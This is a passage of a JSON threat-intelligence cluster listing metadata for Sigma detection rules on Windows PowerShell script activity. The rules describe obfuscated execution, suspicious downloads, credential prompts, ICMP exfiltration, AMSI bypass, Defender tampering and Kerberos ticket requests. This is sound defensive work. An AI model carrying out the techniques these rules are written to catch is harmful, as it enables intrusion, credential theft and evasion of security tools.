(@Mandiant/@FireEye), oscd.community", "creation_date": "2019/11/08", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_obfuscated_iex.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1b9dc62e-6e9e-42a3-8990-94d7a10007f7", "value": "Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell" }, { "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", "meta": { "author": "frack113", "creation_date": "2022/08/19", "falsepositive": [ "Legitimate use" ], "filename": "posh_ps_modify_group_policy_settings.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1484.001" ] }, "related": [ { "dest-uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b7216a7d-687e-4c8d-82b1-3080b2ad961f", "value": "Modify Group Policy Settings - ScriptBlockLogging" }, { "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", "meta": { "author": "frack113", "creation_date": "2021/09/02", "falsepositive": [ "Unknown" ], "filename": "posh_ps_store_file_in_alternate_data_stream.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a699b30e-d010-46c8-bbd1-ee2e26765fe9", "value": "Powershell Store File In Alternate Data Stream" }, { "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Unknown" ], "filename": "posh_ps_capture_screenshots.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml" ], "tags": [ "attack.collection", "attack.t1113" ] }, "uuid": "d4a11f63-2390-411c-9adf-d791fd152830", "value": "Windows Screen Capture with CopyFromScreen" }, { "description": "Detects suspicious PowerShell download command", "meta": { "author": "Florian Roth", "creation_date": "2017/03/05", "falsepositive": [ "PowerShell scripts that download content from the Internet" ], "filename": "posh_ps_susp_download.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "403c2cc0-7f6b-4925-9423-bfa573bed7eb", "value": "Suspicious PowerShell Download - Powershell Script" }, { "description": "Powershell Remove-Item with -Path to delete a file or a folder with \"-Recurse\"", "meta": { "author": "frack113", "creation_date": "2022/01/15", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_remove_item_path.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b8af5f36-1361-4ebe-9e76-e36128d947bf", "value": "Use Remove-Item to Delete File" }, { "description": "Detects PowerShell calling a credential prompt", "meta": { "author": "John Lambert (idea), Florian Roth (rule)", "creation_date": "2017/04/09", "falsepositive": [ "Unknown" ], "filename": "posh_ps_prompt_credentials.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/JohnLaTwC/status/850381440629981184", "https://t.co/ezOTGy1a1G", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" ], "tags": [ "attack.credential_access", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ca8b77a9-d499-4095-b793-5d5f330d450e", "value": "PowerShell Credential Prompt" }, { "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", "creation_date": "2022/01/07", "falsepositive": [ "Legitimate script" ], "filename": "posh_ps_invoke_command_remote.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.006" ] }, "related": [ { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b836d7f-179c-4ba4-90a7-a7e60afb48e6", "value": "Execute Invoke-command on Remote Host" }, { "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n", "meta": { "author": "Borna Talebi", "creation_date": "2021/09/14", "falsepositive": [ "Unknown" ], "filename": "posh_ps_add_dnsclient_rule.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/NathanMcNulty/status/1569497348841287681", "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" ], "tags": [ "attack.impact", "attack.t1565" ] }, "related": [ { "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4368354e-1797-463c-bc39-a309effbe8d7", "value": "Powershell Add Name Resolution Policy Table Rule" }, { "description": "Detects keywords from well-known PowerShell exploitation frameworks", "meta": { "author": "Sean Metcalf (source), Florian Roth (rule)", "creation_date": "2017/03/05", "falsepositive": [ "Unknown" ], "filename": "posh_ps_malicious_keywords.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=2921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f62176f3-8128-4faa-bf6c-83261322e5eb", "value": "Malicious PowerShell Keywords" }, { "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_var.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0adfbc14-0ed1-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation VAR+ Launcher - PowerShell" }, { "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", "meta": { "author": "frack113", "creation_date": "2021/12/15", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_ad_group_reco.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "88f0884b-331d-403d-a3a1-b668cf035603", "value": "AD Groups Or Users Enumeration Using PowerShell - ScriptBlock" }, { "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/16", "falsepositive": [ "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign" ], "filename": "posh_ps_susp_write_eventlog.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e", "value": "PowerShell Write-EventLog Usage" }, { "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/07/16", "falsepositive": [ "Unknown" ], "filename": "posh_ps_adrecon_execution.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" ], "tags": [ "attack.discovery", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bf72941a-cba0-41ea-b18c-9aca3925690d", "value": "PowerShell ADRecon Execution" }, { "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", "meta": { "author": "frack113", "creation_date": "2022/06/04", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_get_gpo.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml" ], "tags": [ "attack.discovery", "attack.t1615" ] }, "related": [ { "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eb2fd349-ec67-4caa-9143-d79c7fb34441", "value": "Suspicious GPO Discovery With Get-GPO" }, { "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_localuser.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4fdc44df-bfe9-4fcc-b041-68f5a2d3031c", "value": "Powershell LocalAccount Manipulation" }, { "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", "meta": { "author": "Bartlomiej Czyz @bczyz1, oscd.community", "creation_date": "2020/10/10", "falsepositive": [ "Legitimate usage of System.Net.NetworkInformation.Ping class" ], "filename": "posh_ps_icmp_exfiltration.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4c4af3cd-2115-479c-8193-6b8bfce9001c", "value": "PowerShell ICMP Exfiltration" }, { "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report", "meta": { "author": "Alina Stepchenkova, Group-IB, oscd.community", "creation_date": "2019/11/01", "falsepositive": [ "Unknown" ], "filename": "posh_ps_apt_silence_eda.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.command_and_control", "attack.t1071.004", "attack.t1572", "attack.impact", "attack.t1529", "attack.g0091", "attack.s0363" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3ceb2083-a27f-449a-be33-14ec1b7cc973", "value": "Silence.EDA Detection" }, { "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n", "meta": { "author": "frack113", "creation_date": "2022/01/23", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_test_netconnection.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml" ], "tags": [ "attack.command_and_control", "attack.t1571" ] }, "related": [ { "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "adf876b3-f1f8-4aa9-a4e4-a64106feec06", "value": "Testing Usage of Uncommonly Used Port" }, { "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/21", "falsepositive": [ "Legitimate administration scripts" ], "filename": "posh_ps_hotfix_enum.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "f5d1def8-1de0-4a0e-9794-1f6f27dd605c", "value": "PowerShell Hotfix Enumeration" }, { "description": "Detects powershell scripts attempting to disable scheduled scanning and other parts of windows defender atp or set default actions to allow.", "meta": { "author": "frack113, elhoim", "creation_date": "2022/01/16", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_tamper_defender.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "14c71865-6cd3-44ae-adaa-1db923fae5f2", "value": "Tamper Windows Defender - ScriptBlockLogging" }, { "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", "meta": { "author": "frack113", "creation_date": "2021/12/26", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_wallpaper.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml" ], "tags": [ "attack.impact", "attack.t1491.001" ] }, "related": [ { "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c5ac6a1e-9407-45f5-a0ce-ca9a0806a287", "value": "Replace Desktop Wallpaper by Powershell" }, { "description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/04", "falsepositive": [ "Unknown" ], "filename": "posh_ps_amsi_null_bits_bypass.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_null_bits_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "fa2559c8-1197-471d-9cdd-05a0273d4522", "value": "Potential AMSI Bypass Using NULL Bits - ScriptBlockLogging" }, { "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", "meta": { "author": "Max Altgelt", "creation_date": "2021/09/21", "falsepositive": [ "Diagnostics" ], "filename": "posh_ps_memorydump_getstoragediagnosticinfo.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml" ], "tags": [ "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd185561-4760-45d6-a63e-a51325112cae", "value": "Live Memory Dump Using Powershell" }, { "description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.", "meta": { "author": "Austin Songer (@austinsonger), Nasreddine Bencherchali (update)", "creation_date": "2022/12/23", "falsepositive": [ "Legitimate use of the library for administrative activity" ], "filename": "posh_ps_aadinternals_cmdlets_execution.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://o365blog.com/aadinternals/", "https://github.com/Gerenios/AADInternals", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_aadinternals_cmdlets_execution.yml" ], "tags": [ "attack.execution", "attack.reconnaissance", "attack.discovery", "attack.credential_access", "attack.impact" ] }, "uuid": "91e69562-2426-42ce-a647-711b8152ced6", "value": "AADInternals PowerShell Cmdlets Execution - PsScript" }, { "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_via_rundll.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e6cb92b4-b470-4eb8-8a9d-d63e8583aae0", "value": "Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell" }, { "description": "Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts", "meta": { "author": "frack113", "creation_date": "2023/01/08", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_set_alias.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/1337Rin/Swag-PSO", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_set_alias.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1027", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "96cd126d-f970-49c4-848a-da3a09f55c55", "value": "Potential PowerShell Obfuscation Using Alias Cmdlets" }, { "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", "creation_date": "2022/08/13", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_new_psdrive.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "1c563233-030e-4a07-af8c-ee0490a66d3a", "value": "Suspicious New-PSDrive to Admin Share" }, { "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Unknown" ], "filename": "posh_ps_request_kerberos_ticket.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml" ], "tags": [ "attack.credential_access", "attack.t1558.003" ] }, "uuid": "a861d835-af37-4930-bcd6-5b178bfb54df", "value": "Request A Single Ticket via PowerShell" }, { "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", "meta": { "author": "Sami Ruohonen", "creation_date": "2018/07/24", "falsepositive": [ "Unknown" ], "filename": "posh_ps_ntfs_ads_access.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "http://www.powertheshell.com/ntfsstreams/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8c521530-5169-495d-a199-0a3a881ad24e", "value": "NTFS Alternate Data Stream" }, { "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", "meta": { "author": "frack113", "creation_date": "2022/03/17", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_as_rep_roasting.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" ], "tags": [ "attack.discovery", "attack.t1033" ] }, "uuid": "96c982fe-3d08-4df4-bed2-eb14e02f21c8", "value": "Get-ADUser Enumeration Using UserAccountControl Flags" }, { "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Unknown" ], "filename": "posh_ps_cmdlet_scheduled_task.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task", 